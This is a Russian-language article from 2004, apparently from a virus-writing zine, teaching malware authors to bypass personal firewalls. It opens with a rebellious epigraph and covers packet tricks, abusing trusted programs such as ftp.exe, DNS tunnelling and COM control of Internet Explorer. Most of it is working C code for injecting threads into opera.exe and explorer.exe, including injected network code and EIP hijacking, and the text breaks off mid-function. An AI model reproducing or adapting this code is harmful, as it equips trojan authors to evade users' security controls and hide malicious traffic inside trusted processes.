Завтрашний день будет потом.
Все, что нам нужно, нам нужно сейчас!
Время горит ясным огнем.
Остановите нас!

Улицы ждут начала беды.
Городу нужен сигнал, чтобы исполнить приказ.
Дети смотрят в глаза новой войны.
Остановите нас!

Смутные дни - время крапить масть!
Смутные дни - время кривить рты!
Смутные дни - время делить власть!
Смутные дни - время решать, с кем ты!

© АлисА

  В сети нас всюду пытаются ограничить в правах - антиспам фильтр решает за нас какую почту нам следует читать а какую нет, антивирус решает что для нас хорошо и что плохо - что нам можно запускать, а что нет, фильтр контента решает можно ли нам читать этот текст или нет, админы в сетях решают можно ли нам закачивать файлы или нет, загрузчик решает является ли файл приложением win32 или нет... и в конце концов персональный firewall решает следует ли пускать нашу программу в сеть или нет....

"Лучше умереть, стоя в полный рост, чем жить, стоя на коленях " (Эрнесто ЧеГевара) - поэтому мы будем бороться... В данной статье будут рассмотренны public (те всем известные - в том числе и производителям... но их видно заботит всё кроме безопасности пользователей) методы обхода firewall'ов. При этом следует заметить, что ни один из них не является универсальным.

В вашем вирусе желательно использовать комбинацию из нескольких способов для большей эффективности. На момент написания статьи - ноябрь 2004 года все эти способы были более чем актуальны. Однако статья написанна безотносительно к конкретным маркам firewall'ов - тестирование методов я оставляю на вашей совести. Кроме того в приложении к статье вы найдёте несколько интересных ссылок на статьи посвящённые сабжу и несколько весьма полезных исходников на разных языках.

Итак предположим, что вам необходимо обеспечить прохождение какого-то определённого типа фаера - мы будем последовательно рассматривать различные способы

Low-level

Итак с чего начать проверку firewall'а ? Правильно с того как он обрабатывает пакеты сетевого и транспортного уровня модели OSI (ARP, IP, ICMP, IGMP, TCP, UDP).

Многие фаеры довольно доверительно относятся к таким пакетам (что вообще-то удивляет - на дворе 2004 год, а не XX век =) - но ведь большинство пользователей просто не может настроить правила, если фаер явно не спрашивает "torjan.exe лезет в сеть, разрешить?" Например в локальных сетях лучшим вариантом будет использование ARP для переноса необходимого нам трафика от хакера к конечному пользователю. В internet'e же гораздо предпочтительнее использование ICMP протокола - благо обычные пользователи не заморачиваются над настройками и оставляют их по умолчанию (в большинстве в этом виноваты не сколько сами пользователи - а те кто пишет статьи "как защитить ваш компьютер" - именно в них рекомендуется не заморачиваться с такими тонкими настройками).

С другой стороны возможно использование RST пакетов TCP - на них ни фаер, ни стек протоколов реагировать никак не должен. Либо вообще использование "нестандартного" протокола транспортного уровня - но тут есть вероятность что не все маршрутизаторы пропустят такой пакет.

Ну и в довершении всего - фрагментирвоанные пакеты. Не каждый фаер может позволить себе роскошь собиря пакеты из различных кусков в один целый. В данном случае следует поиграться со значением offset для того что бы вновь прришедшие пакеты переписывали предыдущие.

Так же хотелось бы отметить TCP пакеты ACK и RST с правильными номерами портов и IP адресами, но с неправильными номерами последовательностей - эта техника может быть так же использованна против firewall'ов реализованных в виде внешних устройств. С одной стороны такие пакеты не имеют смысла - действительно принимающая система их просто отбросит (если используется стандартный сервис) - однако мы сами можем принимать такие пакеты с помощью снифера, с другой стороны это говорит о том firewall только поверхностно рассматривает TCP пакеты - и скорее всего может пропустить атаку на транспортном уровне.

Опять же в качестве примера - недавняя ошибка (начало ноября 2004) в реализации firewall'а Kerio - он падал, когда приходил пакет с длинной IP опций заголовка равной 0 .... мелочь, а неприятно ;) На мой взгляд тестам firewall'ов на транспортном и сетевом уровне следует уделять гораздо больше внимания - тк многие производители придерживаются рекомендаций RFC - и при нестандартном подходе их программы дают сбои (хотя вроде бы firewall должен являться самым надёжным элементом сетевой защиты) - производители операционных систем уже прошли через это (яркие примеры - атаки типа Land, Out of Band, Ping of Death, Bonk и многие другие).

Как это можно реализовать ? ВО первых вам может помочь (не только в этом случае, но и по жизне) библиотека WinPCAP (ссылку найдёте в конце статьи). Но это довольно громоздкое решение - таскать с собой целую библиотеку. Поэтому более простым решением, как мне кажется, будет использование Raw сокетов, которые позволят вам работать со всеми нужными заголовками.

Default settings

Вообщем-то всё ниже сказанное можно так или иначе отнести к дефолтным настройкам, но тк все методы использования дефолтных программм являются абсолютно разными - то они разделенны на несколько подразделов, каждый из которых посвящённ определённому типу обхода firewall'ов.

Как уже отмечалось выше настройки по умолчанию не позволительны ни для какой системы, однако большинство пользователей продолжает доверять различным wizard'ам которые создают правильные правила для "правильных" приложений. Например для ftp.exe ;) У этого приложения есть интересный ключик - s (ftp.exe -s:ftp.txt) с помощью которого можно задать файл сценария. Таким образом нам достаточно записать сценарий для закачки на ftp сервер нужных нам данных через разршённую программу.

Другой часто разрешённой программой (особенно на хакерских машинах) является telnet.exe - во истину универсальный инструмент любого хакера. Например всеми любимый Outpost создаёт стандартные правила для этих программ, на которые пользователи внимания не обращают. Общаться с любой консольной программой возможно через механизм пайпов (pipes).

Консольные приложения имеют 3 стандартных хэндла - ввода/вывода/вывод ошибок. Соответвенно для передачи даных приложению нам необходимо писать в ввод, а читать ответы из вывода.
Для того что бы создать пайп нам требуется вызвать CreatePipe:

BOOL CreatePipe(
  PHANDLE hReadPipe,                       // read handle
  PHANDLE hWritePipe,                      // write handle
  LPSECURITY_ATTRIBUTES lpPipeAttributes,  // security attributes
  DWORD nSize                              // pipe size
);
Соответвенно первые параметры - хэндлы ввода/вывода, lpPipeAttributes структура SECURITY_ATTRIBUTES опpеделяет, наследуется ли каждый хэндлов дочеpним пpоцессом. nSize - это пpедполагаемый pазмеp буфеpа, котоpый пайп заpезеpвиpует для использования. Это всего лишь пpедполагаемый pазмеp. Вы можете пеpедать NULL, что бы использовать значение по умолчанию.

Ну и в дополнение маленький пример каркаса кода:

#include <windows.h>

HANDLE hRead, hWrite;
HANDLE hRead2, hWrite2;

DWORD WINAPI GetData(void*){
	char buffer[1024];
	DWORD byttes, TotalByttes;

	while (PeekNamedPipe(hRead2,buffer, sizeof (buffer),&byttes, &TotalByttes,NULL)!=0){
		RtlZeroMemory (buffer, sizeof (buffer));
		if (ReadFile (hRead2,buffer, sizeof (buffer)-1, &byttes,NULL) == NULL)
			break;

		if (byttes == 0)
			break;	
		
		// читаем вывод, анализируем команды/ответы сервера - принимаем другие действия
		.......
	}

	return 0;
}

int main(int argc, char* argv[]){
	
	...

	SECURITY_ATTRIBUTES sat;
	STARTUPINFO startupinfo;
	PROCESS_INFORMATION pinfo;

	//создаём пайп
	sat.nLength = sizeof (SECURITY_ATTRIBUTES);
	sat.lpSecurityDescriptor = NULL;
	sat.bInheritHandle = TRUE;
	CreatePipe (&hRead, &hWrite, &sat, NULL);
	CreatePipe (&hRead2, &hWrite2, &sat, NULL);

	// заполняем информацию для запуска процесса
	startupinfo.cb = sizeof (STARTUPINFO);
	GetStartupInfo (&startupinfo);
	startupinfo.hStdOutput  = hWrite2;
	startupinfo.hStdError   = hWrite2;
	startupinfo.hStdInput   = hRead;
	startupinfo.dwFlags     = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
	startupinfo.wShowWindow = SW_HIDE;

	//запускаем ftp.exe 
	CreateProcess (NULL, "ftp.exe -s:ftp.txt", NULL, NULL, TRUE, NULL, NULL, NULL, &startupinfo, &pinfo);

	//создаём новый тред для чтения информации из пайпа:
	CreateThread (NULL,0,GetData,NULL,0,NULL);

	//делаем нашу троянскую работу =)
	....

	//записываем в пайп команду, которая содержится в строке cmd
	WriteFile (hWrite, cmd, strlen (cmd), &Num, NULL);

	...
	
	return 0;
}
Всё это довольно стандартные действия и найти их описания возможно в довольно многих источниках (см раздел ссылки).

Другим гораздо более интересным механизмом являются разрешённые (доверительные) протколы - но уже не сетевого и транспортного уровней, как было описанно выше, а прикладного уровня. Почему то многие персональные фаеры по дефолту доверительно относятся к DNS запросам - почему бы и не разрешить программам преобразовывать имя в IP адрес... действительно почему бы.... Попробуйте этот код для обхода вашего фаера (для проверки воспользуемся библиотекой DNSAPI):


#include <windows.h>
#include "windns.h"

#pragma comment(lib, "dnsapi.lib")

int APIENTRY  WinMain (HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow) {
	PCSTR 			lpstrName = "www.mazafaka.ru";
	WORD 			wType = 0x01;
	DWORD 			fOptions = DNS_QUERY_STANDARD; 
	PDNS_RECORD 		ppQueryResultsSet;
	DNS_STATUS 		status;
	
	status = DnsQuery(lpstrName, wType, fOptions , NULL, &ppQueryResultsSet, NULL);
	if (status == 0) {
		// да мы можем безнаказанно делать DNS запросы
		....
	}
}
Однако для пущей надёжности нам надо удостоверится , что Windows не цепляет запись из кэша... флага DNS_QUERY_BYPASS_CACHE как показывает практика недостаточно. К счастью в библиотеке DNSAPI есть функция DnsFlushResolverCache (которой почему то не оказалось в моих заголовочных файлах и описания её я не нашёл в моей версии SDK). Таким образом некоторые фаеры позволяют создать DNS тунель - что вообщем-то достаточно для передачи данных.

Примечание. Для С заголовочный файл windns.h и библиотека dnsapi.lib, а для MASM32 dnsapi.inc и dnsapi.lib - такая вот путаница =)
Кроме DNS следует обратить внимание на другие часто используемые, но незаметные для конечного пользователя протоколы - например тот же DHCP.

Microsoft

Дефолтные настройки это хорошо, ну да микрософт пожалуй всех переплюнула. Речь идёт о технологии COM (Component Object Model), которую очень активно продвигает Microsoft. Суть этой технологии состоит в том, что бы позволить различным приложениям обмениваться данными через определённые интерфейсы. Теперь давайте предположим, что у пользователя на firewall'е разрешенно какое-либо приложение, использующее технологию COM - в зависимости от интерфейса, который нам предоставляет приложение - мы можем так или иначе управлять им.

В качестве примера такого приложения рассмотрим Internet Exploer - он есть на каждой Windows машине и практически везде разрешён фаером. В случае, если он запрещён - можно найти кучу других приложений (хотя бы от тех же Microsoft) которые возможно будут разрешены. Ну и кроме того вы можете очень гибко управлять Internet Exploer'ом - начиная от формирования веб-страничек на лету, отладки скриптов, перехвата данных введённых пользователем, изменения кода страничек на лету (что бы формы пересылались на ваш сайт), заканчивая созданием шелла на вражеском компьютере через веб-чат.

Пожалуй единственным минусом этой технологии является то, что её описание выходит за рамки данной статьи - для тех, кто сталкивается с ней впервые необходимо прочитать довольно много литературы, что бы понять как это работает (мне лично кажется что этот интерфейс получился довольно сложным и нагромождённым), те же кто знаком с этой технологией и так смогут реализовать вышеописанное .... и уже давно и успешно реализуют - имхо самый яркий варинт троян Pinch - он реализует отправку данных через интерфейс IWebBrowser2. Поэтому в конце статьи приведены ссылки на некоторые статьи, а в архиве так же можно найти некоторые исходники - в частности модуль из Pinch'а который отвечает за отправку и "официальный" пример использования IWebBrowser2 поризводящий загрузку сайта microsoft. Обратите внимание что в логи фаера попадёт обращение именно Internet Exploer'a а не вашей программы.

Внедрение кода

И вот мы подобрались к пожалуй самой универсальной на сегодняшний день технологии обхода фаеров - внедерние своего кода в доверенный процесс.

Сделать это можно несколькими путями - самый простой метод в лоб - как в старые добрые времена - заражаем разрешённый exe файл своим кодом - однако сегодня такой трюк пройдёт только с самыми тупыми пользователями - firewall'ы хранят контрольные суммы приложений и при их изменении сигнализируют об этом. Другой метод - внедрение dll библиотеки - это можно сделать например, установив глобальный хук - но это не выход, тк firewall'ы мониторят загруженные библиотеки и при появлении новой начнут возмущаться.

Однако Microsoft не был бы Microsoft, если бы не предусмотрел универсальное средство внедрения кода в уже загруженный процесс - функция CreateRemoteThread позволяет создавать потоки в адресном пространстве другого процесса. Давайте взглянем на описание функции:


HANDLE CreateRemoteThread(
  HANDLE hProcess,        // handle to process to create thread in
  LPSECURITY_ATTRIBUTES lpThreadAttributes,  // pointer to security attributes
  DWORD dwStackSize,      // initial thread stack size, in bytes
  LPTHREAD_START_ROUTINE lpStartAddress, // pointer to thread function
  LPVOID lpParameter,     // argument for new thread
  DWORD dwCreationFlags,  // creation flags
  LPDWORD lpThreadId      // pointer to returned thread identifier
);
Для начала давайте представим что мы уже внедрились в чужой процесс - что дальше ? Те кто писал вирусы наверняка предложат искать адрес кернела, что бы получить адреса функций - но мы поступим проще (хотя этот метод тоже никто не отменял - смотри приложение к статье). Для того что бы понять каким образом мы хотим получить адреса функций - вспомните что динамические библиотеки - это те библиотеки, которые содержат одинаковые функции для всех программ и как следствие загружаются в память в единственном экземпляре. Поэтому нам достаточно получить требуемые адреса в нашем основном процессе, а потом передать их в другой поток.

Для этого составим простую структуру данных - в которой сохраним адреса 3-х критичных для нас функций изkernel32.dll - LoadLibrary, GetModuleHandle, GetProcAddress. После этого нам достаточно подгружать нужные библиотеки и получать адреса требуемых функций.

Давайте для начала напишем Hello, world! который будет внедряться в Оперу (не одним IE юзер един) - для данного примера Opera должна быть запущенна - мы получаем хэндд процесса через поиск его среди запущенных - однако код можно переписать так что бы создавать процесс с помощью CreateProcess или получения хэндла другим образом - для нас это не важно.

Для начала обратите внимание на параметр

LPVOID lpParameter, // argument for new thread
у функции CreateRemoteThread - через него мы можем передать любые данные новому потоку - мы в частности и передадим через него адреса нужным нам функций. Теперь перейдём непосредственно к коду. Он не такой уж и большой, а кроме того достаточно прокоментированн, что бы понять как он работает (помните что компилировать такие коды лучше сразу в режиме Release - в Debug он может не работать):

#define WIN32_LEAN_AND_MEAN 

#include <windows.h>
#include <winsock2.h>
#include <tlhelp32.h>

//прототипы функций, которые нам понадобятся:

//User32
typedef int (__stdcall *func_MessageBox) (HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType); 

//Kernel32 
typedef HMODULE (__stdcall *func_GetModuleHandle) (LPCTSTR); 
typedef FARPROC (__stdcall *func_GetProcAddress) (HMODULE, LPCSTR); 
typedef HINSTANCE (__stdcall *func_LoadLibrary) (LPCTSTR); 

//структура данных, которую мы передадим в процесс:
typedef struct  _tag_inj_info { 
	func_GetModuleHandle GetModuleHandle; 
	func_GetProcAddress GetProcAddress; 
	func_LoadLibrary LoadLibrary; 
	
	//strings:
	char szHello[64];

	// module names:
	char szUser32[32]; 

	//functions
	char szMessageBox[32];
} INF ; 


// выключаем проверку стека:
#pragma check_stack(off) 

// Внедряемая функция:
static DWORD WINAPI ThreadFunc (INF *info){ 
	HMODULE hUser32; 

	//функции из User32 
	func_MessageBox l_MessageBox; 

	// заполняем адреса:
	hUser32 = info->GetModuleHandle (info->szUser32); 
	if (hUser32 == NULL) 
		hUser32 = info->LoadLibrary (info->szUser32); 
	if (hUser32 == NULL) 
		return 1; 
	
	//получаем адресс MessageBoxA:
	l_MessageBox = (func_MessageBox) info->GetProcAddress (hUser32, info->szMessageBox); 

	//выводим Hello, world!
	l_MessageBox (NULL, info->szHello, info->szHello, MB_OK); 
	
	return 0; 
} 

static void AfterThreadFunc (void) { 
} 

#pragma check_stack 

//функция для вставки кода в процесс:
static BOOL Inject (HANDLE hProcess){ 
	// Размер кода, внедряемого в процесс:
	const int cbCodeSize = ((LPBYTE) AfterThreadFunc - (LPBYTE) ThreadFunc);
	
	//размер кода + данных:
	const DWORD cbMemSize = cbCodeSize + sizeof(INF);

	//адрес, куда будем копировать код:
	PDWORD pdwCodeRemote = NULL; 

	// адрес, куда будем копировать данные:
	INF *pInjLibInfoRemote = NULL; 
	
	//хэндл нашего потока:
	HANDLE hThread = NULL;

	//временная переменная для всяких значений:
	DWORD dwReturn;

	//заполняем структуру необходимыми данными:

	INF info = { 
		// адреса функций, они будут одинаковы в любом процессе:
		NULL, // GetModuleHandle 
		NULL, // GetProcAddress 
		NULL, // LoadLibrary 

		//строки:
		"Hello world!",

		//модули
		"user32.dll",

		//функции
		"MessageBoxA"
	}; 

	//заполняем нужные адреса:
	HMODULE hKernel32; 
	hKernel32 = GetModuleHandle ("kernel32.dll"); 

	info.GetModuleHandle	= (func_GetModuleHandle)	GetProcAddress (hKernel32, "GetModuleHandleA");
	info.GetProcAddress	= (func_GetProcAddress)	GetProcAddress (hKernel32, "GetProcAddress");
	info.LoadLibrary		= (func_LoadLibrary)	GetProcAddress (hKernel32, "LoadLibraryA");

	// выделяем память в адресном пространстве процесса:
	pdwCodeRemote = (PDWORD)VirtualAllocEx (hProcess, NULL, cbMemSize, MEM_COMMIT | MEM_TOP_DOWN,PAGE_EXECUTE_READWRITE); 
	
	if (pdwCodeRemote == NULL) { 
		MessageBox( NULL, "No process for injection", "Can't find process", MB_OK); 
		return false;
	} 

	// меняем атрибуты, таким образом что бы возможно было исполнить наш код:
	if (!VirtualProtectEx (hProcess, pdwCodeRemote, cbMemSize, PAGE_EXECUTE_READWRITE, &dwReturn)) { 
		return false; 
	} 

	// Записывае наш код :
	if (!WriteProcessMemory(hProcess, pdwCodeRemote, (LPVOID)ThreadFunc, cbCodeSize, &dwReturn)) { 
		return false; 
	} 

	//адрес куда, запишем данные: необходимо выравнивание
	pInjLibInfoRemote = (INF *)(((PBYTE)pdwCodeRemote) + ((cbCodeSize + 4) & ~3)); 

	// записываем наши данные:
	if (!WriteProcessMemory(hProcess, pInjLibInfoRemote, &info, sizeof (info), &dwReturn)) { 
		return false; 
	} 
	
	// создаём поток, передав ему в качестве параметра нашу структуру:
	if ((hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE) pdwCodeRemote, pInjLibInfoRemote, 0, &dwReturn)) == NULL) { 
		return false; 
	} 

	//ждём завершения:
	WaitForSingleObject (hThread,INFINITE);
	GetExitCodeThread (hThread, &dwReturn);

	//всё Ок =)
	if (!dwReturn)
		MessageBox( NULL, "All Ok" , "Success", MB_OK ); 
	
	return true; 
} 


//получаем информацию о процессах и PID нужного нам - например opera.exe
DWORD GetPID (void){ 
	HANDLE hSnap; 
	PROCESSENTRY32 ppe; 

	hSnap = CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS, 0); 

	ppe.dwSize = sizeof (PROCESSENTRY32); 
	Process32First (hSnap, &ppe); 

	while (1) { 
		if (!stricmp ("opera.exe",ppe.szExeFile)) 
			return ppe.th32ProcessID; 

		if (!Process32Next (hSnap, &ppe)) 
			break; 
	} 

	CloseHandle (hSnap);
	return false; 
} 


int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) 
{ 
	DWORD PID = GetPID(); 
	HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS, FALSE, PID); 
	Inject (hProcess); 
	return 0; 
}
Теперь, когда вы умеете внедрять код в чужой процесс, давайте замутим внедрение с использованием сетевых функций - для примера получим гланую страничку какого-нибудь сервера - для этого нам надо дополнить каркас некоторыми прототипами функций, а так же структуру данных, передаваемых в тред (мы будем имитировать HTTP запрос - так что я буду давать имена полям соответвующим образом):

//Wsock32 
typedef int (__stdcall *func_WSAStartup) (WORD wVersionRequested, LPWSADATA lpWSAData); 
typedef SOCKET (__stdcall *func_socket) (int af, int type, int protocol); 

typedef unsigned long (__stdcall *func_inet_addr) (const char FAR *cp); 
typedef u_short (__stdcall *func_htons) (u_short hostshort); 
typedef struct hostent FAR * (__stdcall *func_gethostbyname) (const char FAR *name);

typedef int (__stdcall *func_connect) (SOCKET s, const struct sockaddr FAR* name, int namelen); 
typedef int (__stdcall *func_send) (SOCKET s, const char FAR * buf, int len, int flags); 
typedef int (__stdcall *func_recv) (SOCKET s, char FAR* buf, int len, int flags ); 

typedef int (__stdcall *func_closesocket) (SOCKET s);
typedef int (__stdcall *func_WSACleanup) (void);

//структура данных, которую мы передадим в процесс:
typedef struct _tag_inj_info { 
	func_GetModuleHandle GetModuleHandle; 
	func_GetProcAddress GetProcAddress; 
	func_LoadLibrary LoadLibrary; 
	
	//strings:
	char szHello[64];
	char szRequest[128]; //HTTP запрос
	char szAddr[32];	 //адрес сервера

	int lRequest;		//длина запроса
	
	// module names:
	char szUser32[32]; 
	char szWSock32[32];

	//functions
	char szMessageBox[32];
	char szWSAStartup[32];
	char szSocket[32];
	char szInet_Addr[32];
	char szHtons[32];
	char szGetHostByName[32];
	char szConnect[32];
	char szSend[32];
	char szRecv[32];
	char szCloseSocket[32];
	char szWSACleanup[32];
} INF ;
Теперь при заполнении структуры нам нужно вставить дополнительные функции:

	//заполняем структуру необходимыми данными:
	INF info = { 
		// адреса функций, они будут одинаковы в любом процессе:
		NULL, // GetModuleHandle 
		NULL, // GetProcAddress 
		NULL, // LoadLibrary 

		//строки:
		"Hello world!", //для MessageBox
		"GET / HTTP/1.0\n\n\n", //HTTP запрос
		"127.0.0.1", // адрес сервера
		strlen("GET / HTTP/1.0\n\n\n"), // длина запроса

		//модули
		"user32.dll",
		"ws2_32.dll",

		//функции
		"MessageBoxA",

		"WSAStartup",
		"socket",
		"inet_addr",
		"htons",
		"gethostbyname",
		"connect",
		"send",
		"recv",
		"closesocket",
		"WSACleanup"
	};
Ну и в конечном итоге модифицируем функцию потока, так что бы кроме бесполезного мессадж бокса она отсылала запрос серверу и выводила нужную нам информацию:
// Внедряемая функция:
static DWORD WINAPI ThreadFunc (INF *info){ 
	HMODULE hUser32, hWinSock32; 

	//функции из User32 
	func_MessageBox l_MessageBox;
	
	// Winsock2
	func_WSAStartup		l_WSAStartup;
	func_socket		l_socket;
	func_inet_addr		l_inet_addr;
	func_htons		l_htons;
	func_gethostbyname	l_gethostbyname;
	func_connect		l_connect;
	func_send		l_send;
	func_recv		l_recv;
	func_closesocket		l_closesocket;
	func_WSACleanup		l_WSACleanup;

	WSADATA wsa;
	SOCKET s;
	struct sockaddr_in sa;
	char buf [255];


	// заполняем адреса:
	hUser32 = info->GetModuleHandle (info->szUser32); 
	if (hUser32 == NULL) 
		hUser32 = info->LoadLibrary (info->szUser32); 
	if (hUser32 == NULL) 
		return 1; 
	
	//получаем адресс MessageBoxA:
	l_MessageBox	= (func_MessageBox) info->GetProcAddress  (hUser32, info->szMessageBox); 

	//выводим Hello, world!
	l_MessageBox (NULL, info->szHello, info->szHello, MB_OK); 

	//загружаем winsock:
	hWinSock32 = info->GetModuleHandle (info->szWSock32); 
	if (hWinSock32 == NULL) 
		hWinSock32 = info->LoadLibrary (info->szWSock32); 
	if (hWinSock32 == NULL) 
		return 1; 

	//получаем требуемые функции:
	l_WSAStartup	=	(func_WSAStartup)	info->GetProcAddress (hWinSock32, info->szWSAStartup);
	l_socket		=	(func_socket)		info->GetProcAddress (hWinSock32, info->szSocket);
	l_inet_addr	=	(func_inet_addr)		info->GetProcAddress (hWinSock32, info->szInet_Addr);
	l_htons		=	(func_htons)		info->GetProcAddress (hWinSock32, info->szHtons);
	l_connect	=	(func_connect)		info->GetProcAddress (hWinSock32, info->szConnect);
	l_send		=	(func_send)		info->GetProcAddress (hWinSock32, info->szSend);
	l_recv		=	(func_recv)		info->GetProcAddress (hWinSock32, info->szRecv);
	l_closesocket	=	(func_closesocket)		info->GetProcAddress (hWinSock32, info->szCloseSocket);
	l_WSACleanup	=	(func_WSACleanup)	info->GetProcAddress (hWinSock32, info->szWSACleanup);
	l_gethostbyname	=	(func_gethostbyname)	info->GetProcAddress (hWinSock32, info->szGetHostByName);

	//поехали =)
	l_WSAStartup(MAKEWORD(2,2), &wsa);

	s = l_socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);

	sa.sin_family		= AF_INET;
	sa.sin_addr.s_addr	= l_inet_addr(info->szAddr);
	sa.sin_port			= l_htons(80);

	if (l_connect (s, (struct sockaddr *)&sa, sizeof (sa)) != SOCKET_ERROR){
		l_send (s, info->szRequest, info->lRequest, 0);
		
		l_recv( s, buf, 255, 0);		
		l_MessageBox (NULL, buf, NULL, MB_OK);

		l_closesocket (s);
		l_WSACleanup ();
	}
	else{
		return 3;
	}


	return 0; 
} 
Легко ? Не то слово =) Однако этот метод прокатывает не везде... поэтому есть альтернатива =) Программисты дяди Билла постарались наславу, оставив хакерам и вирмейкерам довольно много альтернатив... Этот метод заключается в использовании функции SetThreadContext и GetThreadContext - эти функции позволяют манипулировать со структурой CONTEXT - а эта структура хранит в себе процессорно зависимую информацию о текущем треде (для различных процессоров они соответвенно различаются - определения для основных процессоров можно найти в WinNT.h) - в том числе регистры. Тк у нас процессоры х86 (если у вас другой процессор - обратитесь к соответвующей документации производителя), то особый интерес представляет естесвенно EIP (Instruction Pointer - указывает на адрес текущей инструкции).

Думаю вы уже догадались что мы хотим сделать - записываем тело треда в адресное пространство образом, показанным выше, но вместо вызова CreateRemoteThread изменяем EIP на наш код - передавая ему управление. Естественно что кроме этого мы должны немного подправить регистр ESP, отвечающий за стек. Для того что бы понять как это работает давайте вспомним как работает ассемблерная свзяка call - ret - когда мы делаем call на какой-то адрес - в стек кладётся адрес возврата - адрес следующей после call команды. Когда выполнение доходит до ret этот адрес извлекается из стека и на него осуществляется переход. Так же не стоит забывать что адрес параметра для нашей функции передаётся через стек.

Таким образом кроме модификации EIP на наш код мы должны сделать две вещи - записать в стек адрес возврата (те старый EIP) и адрес по которому находится наша структура INF с данными.

Однако прежде чем продолжать давайте вспомним что процесс в который мы добавляем код должен оставаться полностью рабочим. Те мы должны вернуть все регистры и все флаги в первоначальное состояние. EIP и ESP мы уже вернули (за счёт манипуляций со стеком), а вот как быть с остальными ? Давайте рассмотрим пустую функцию:

static void WINAPI ThreadFunc ( INF *info )
{
	return; 
}
И вот какой ассемблерный код создаст VC++ для неё:
55               PUSH EBP
8BEC             MOV EBP,ESP
53               PUSH EBX
56               PUSH ESI
57               PUSH EDI
5F               POP EDI
5E               POP ESI
5B               POP EBX
5D               POP EBP
C2 0400          RETN 4
Кое какие регистры как мы видим VC всё же сохраняет в стеке сам, однако об остальных регистрах и флагах нам придётся позаботится самим. Для этого переделаем каркас внедряемой функции в нечто такое:
static void  WINAPI ThreadFunc (INF *info)
{
	//сохраняем все регистры 
	__asm{
		pushad
		pushfd
	}

	//Востанавливваем все регистры
	__asm{
		popfd
		popad
	}

	return; 
}
Наша функция не должна возвращать никаких значений - иначе VC запишет инструкцию MOV EAX, 0 (вместо 0 может быть любое возвращаемое значение - нам это не важно) - уже после нащих сохранений/востановлений регистров - а это нам не надо. Код приведённый выше будет выглядеть так:

55               PUSH EBP
8BEC             MOV EBP,ESP
53               PUSH EBX
56               PUSH ESI
57               PUSH EDI

60               PUSHAD
9C               PUSHFD
9D               POPFD
61               POPAD

5F               POP EDI
5E               POP ESI
5B               POP EBX
5D               POP EBP
C2 0400          RETN 4
Таким образом просумировав всё выше сказанное мы приходим к такому коду:

#define WIN32_LEAN_AND_MEAN 

#include <windows.h>
#include <winsock2.h>
#include <tlhelp32.h>

//User32
typedef int (__stdcall *func_MessageBox) (HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType); 

//Kernel32 
typedef HMODULE (__stdcall *func_GetModuleHandle) (LPCTSTR); 
typedef FARPROC (__stdcall *func_GetProcAddress) (HMODULE, LPCSTR); 
typedef HINSTANCE (__stdcall *func_LoadLibrary) (LPCTSTR); 

//структура данных, которую мы передадим в процесс:
typedef struct  _tag_inj_info { 
	func_GetModuleHandle GetModuleHandle; 
	func_GetProcAddress GetProcAddress; 
	func_LoadLibrary LoadLibrary; 
	
	//strings:
	char szHello[64];

	// module names:
	char szUser32[32]; 

	//functions
	char szMessageBox[32];
} INF ; 

#pragma check_stack(off)

static void WINAPI ThreadFunc ( INF *info )
{

	__asm{
		pushad
		pushfd
	}

	HMODULE hUser32; 

	//функции из User32 
	func_MessageBox l_MessageBox; 

	// заполняем адреса:
	hUser32 = info->GetModuleHandle (info->szUser32); 
	if (hUser32 == NULL) 
		hUser32 = info->LoadLibrary (info->szUser32); 
	if (hUser32 == NULL) 
		return ; 
	
	//получаем адресс MessageBoxA:
	l_MessageBox = (func_MessageBox) info->GetProcAddress (hUser32, info->szMessageBox); 

	//выводим Hello, world!
	l_MessageBox (NULL, info->szHello, info->szHello, MB_OK);

	__asm{
		popfd
		popad
	}
}

static void AfterThreadFunc (){
}

#pragma check_stack()

PROCESS_INFORMATION pinf;
HANDLE hProcess, hThread;

//получаем информацию о нужном нам процессе
BOOL GetPT (void){ 
	HANDLE hSnap; 

	PROCESSENTRY32 ppe; 
	THREADENTRY32  tte;

	hSnap = CreateToolhelp32Snapshot (0x06, 0); 

	ppe.dwSize = sizeof (PROCESSENTRY32); 
	tte.dwSize = sizeof (THREADENTRY32);

	Process32First (hSnap, &ppe); 

	while (1) { 

		if (!stricmp ("explorer.exe",ppe.szExeFile)){
			
			if (Thread32First(hSnap, &tte)){ 
				do{ 
					if (tte.th32OwnerProcessID == ppe.th32ProcessID) 
					{ 
						//теперь у нас есть ProcessID и ThreadID
						//главного треда
						hProcess = OpenProcess (PROCESS_ALL_ACCESS, FALSE, ppe.th32ProcessID);
						hThread  = OpenThread  (THREAD_ALL_ACCESS, FALSE, tte.th32ThreadID);

						pinf.dwProcessId = ppe.th32ProcessID;
						pinf.dwThreadId  = tte.th32ThreadID;
						pinf.hProcess    = hProcess;
						pinf.hThread     = hThread;

						return true;
					} 
				} while (Thread32Next(hSnap, &tte)); 
			} 
		}

		if (!Process32Next (hSnap, &ppe)) 
			break; 
	} 

	CloseHandle (hSnap);
	return false; 
} 

//нам нужны привилегии SeDebugPrivilege
//функция ниже - пример из MSDN'a на эту тему
BOOL SetPrivilege (HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege){
	TOKEN_PRIVILEGES tp;
	LUID luid;

	if ( !LookupPrivilegeValue (NULL, lpszPrivilege,&luid ) ) {      
		MessageBox (NULL,"LookupPrivilegeValue failed", NULL, MB_OK); 
		return FALSE; 
	}

	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = luid;
	
	if (bEnablePrivilege)
		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	else
	    tp.Privileges[0].Attributes = 0;

	AdjustTokenPrivileges (hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES) NULL,(PDWORD) NULL); 
 
	if (GetLastError() != ERROR_SUCCESS) { 
		MessageBox (NULL,"AdjustTokenPrivileges failed", NULL, MB_OK); 
		return FALSE; 
	} 

	return TRUE;
}


int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
